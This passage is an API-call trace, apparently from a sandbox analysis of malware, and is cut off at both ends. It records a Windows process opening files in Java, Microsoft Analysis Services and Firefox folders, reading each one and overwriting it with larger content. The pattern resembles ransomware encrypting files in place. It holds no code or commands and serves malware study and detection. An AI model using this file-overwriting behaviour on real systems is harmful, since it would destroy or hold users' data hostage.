lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.896] WriteFile (in: hFile=0x1bc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xb10, lpOverlapped=0x0) returned 1 [0053.896] CloseHandle (hObject=0x1bc) returned 1 [0053.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Kerguelen" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\kerguelen"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.897] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.897] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x41 [0053.897] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.897] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.897] ReleaseMutex (hMutex=0x128) returned 1 [0053.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kerguelen", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kerguelen", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kerguelen", lpUsedDefaultChar=0x0) returned 9 [0053.897] ReadFile (in: hFile=0x1bc, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x304f2bc*=0x41, lpOverlapped=0x0) returned 1 [0053.898] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.898] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0053.898] CloseHandle (hObject=0x1bc) returned 1 [0053.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Auckland" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\auckland"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.899] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.899] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x544 [0053.899] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.899] ReleaseMutex (hMutex=0x128) returned 1 [0053.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Auckland", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Auckland", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Auckland", lpUsedDefaultChar=0x0) returned 8 [0053.899] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x544, lpOverlapped=0x0) returned 1 [0053.901] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.901] WriteFile (in: hFile=0x1bc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xacc, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xacc, lpOverlapped=0x0) returned 1 [0053.901] CloseHandle (hObject=0x1bc) returned 1 [0053.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Gambier" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\gambier"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.901] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.902] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x41 [0053.902] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.902] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.902] ReleaseMutex (hMutex=0x128) returned 1 [0053.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gambier", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.902] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gambier", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gambier", lpUsedDefaultChar=0x0) returned 7 [0053.902] ReadFile (in: hFile=0x1bc, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x304f2bc*=0x41, lpOverlapped=0x0) returned 1 [0053.903] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.903] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0053.903] CloseHandle (hObject=0x1bc) returned 1 [0053.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Midway" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\midway"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.904] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.904] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x59 [0053.904] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.904] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.904] ReleaseMutex (hMutex=0x128) returned 1 [0053.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Midway", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0053.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Midway", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Midway", lpUsedDefaultChar=0x0) returned 6 [0053.904] ReadFile (in: hFile=0x1bc, lpBuffer=0x1ea3700, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3700*, lpNumberOfBytesRead=0x304f2bc*=0x59, lpOverlapped=0x0) returned 1 [0053.905] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.906] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0053.906] CloseHandle (hObject=0x1bc) returned 1 [0053.906] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Rarotonga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\rarotonga"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.906] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.906] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x11d [0053.906] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.906] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.906] ReleaseMutex (hMutex=0x128) returned 1 [0053.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rarotonga", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rarotonga", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rarotonga", lpUsedDefaultChar=0x0) returned 9 [0053.906] ReadFile (in: hFile=0x1bc, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x11d, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x304f2bc*=0x11d, lpOverlapped=0x0) returned 1 [0053.907] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.907] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a5, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6a5, lpOverlapped=0x0) returned 1 [0053.908] CloseHandle (hObject=0x1bc) returned 1 [0053.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\cst6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.908] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.908] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1b [0053.908] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.908] ReleaseMutex (hMutex=0x128) returned 1 [0053.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CST6", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0053.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CST6", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CST6", lpUsedDefaultChar=0x0) returned 4 [0053.909] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e78bc8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78bc8*, lpNumberOfBytesRead=0x304f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0053.911] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.911] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0053.911] CloseHandle (hObject=0x1bc) returned 1 [0053.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9YDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\yst9ydt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.912] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.912] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x8f0 [0053.912] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.912] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.912] ReleaseMutex (hMutex=0x128) returned 1 [0053.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="YST9YDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="YST9YDT", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YST9YDT", lpUsedDefaultChar=0x0) returned 7 [0053.912] ReadFile (in: hFile=0x1bc, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x8f0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x304f2bc*=0x8f0, lpOverlapped=0x0) returned 1 [0053.917] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.917] WriteFile (in: hFile=0x1bc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xe78, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xe78, lpOverlapped=0x0) returned 1 [0053.917] CloseHandle (hObject=0x1bc) returned 1 [0053.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.918] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.918] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4360 [0053.918] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.918] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.918] ReleaseMutex (hMutex=0x128) returned 1 [0053.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="as80.xsl", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="as80.xsl", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="as80.xsl", lpUsedDefaultChar=0x0) returned 8 [0053.918] ReadFile (in: hFile=0x1bc, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.920] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3360 [0053.920] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.920] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3360 [0053.921] WriteFile (in: hFile=0x1bc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.921] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0053.921] WriteFile (in: hFile=0x1bc, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.921] CloseHandle (hObject=0x1bc) returned 1 [0053.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\notes.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\notes.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.921] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\notes.exe", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Analysis Services\\notes.exe", lpFilePart=0x304f690*="notes.exe") returned 0x3c [0053.921] GetLastError () returned 0x20 [0053.921] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x51 [0053.921] LocalFree (hMem=0x70da60) returned 0x0 [0053.921] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0053.921] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0053.922] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0053.922] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0053.922] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\notes.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\notes.exe")) returned 0x20 [0053.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.923] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.923] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x889 [0053.923] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.923] ReleaseMutex (hMutex=0x128) returned 1 [0053.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0053.923] ReadFile (in: hFile=0x1bc, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x889, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x304f2bc*=0x889, lpOverlapped=0x0) returned 1 [0053.925] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.925] WriteFile (in: hFile=0x1bc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xe11, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xe11, lpOverlapped=0x0) returned 1 [0053.925] CloseHandle (hObject=0x1bc) returned 1 [0053.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.926] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.926] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x383 [0053.926] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.926] ReleaseMutex (hMutex=0x128) returned 1 [0053.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="freebl3.chk", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="freebl3.chk", cchWideChar=11, lpMultiByteStr=0x1e6340c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="freebl3.chk", lpUsedDefaultChar=0x0) returned 11 [0053.926] ReadFile (in: hFile=0x1bc, 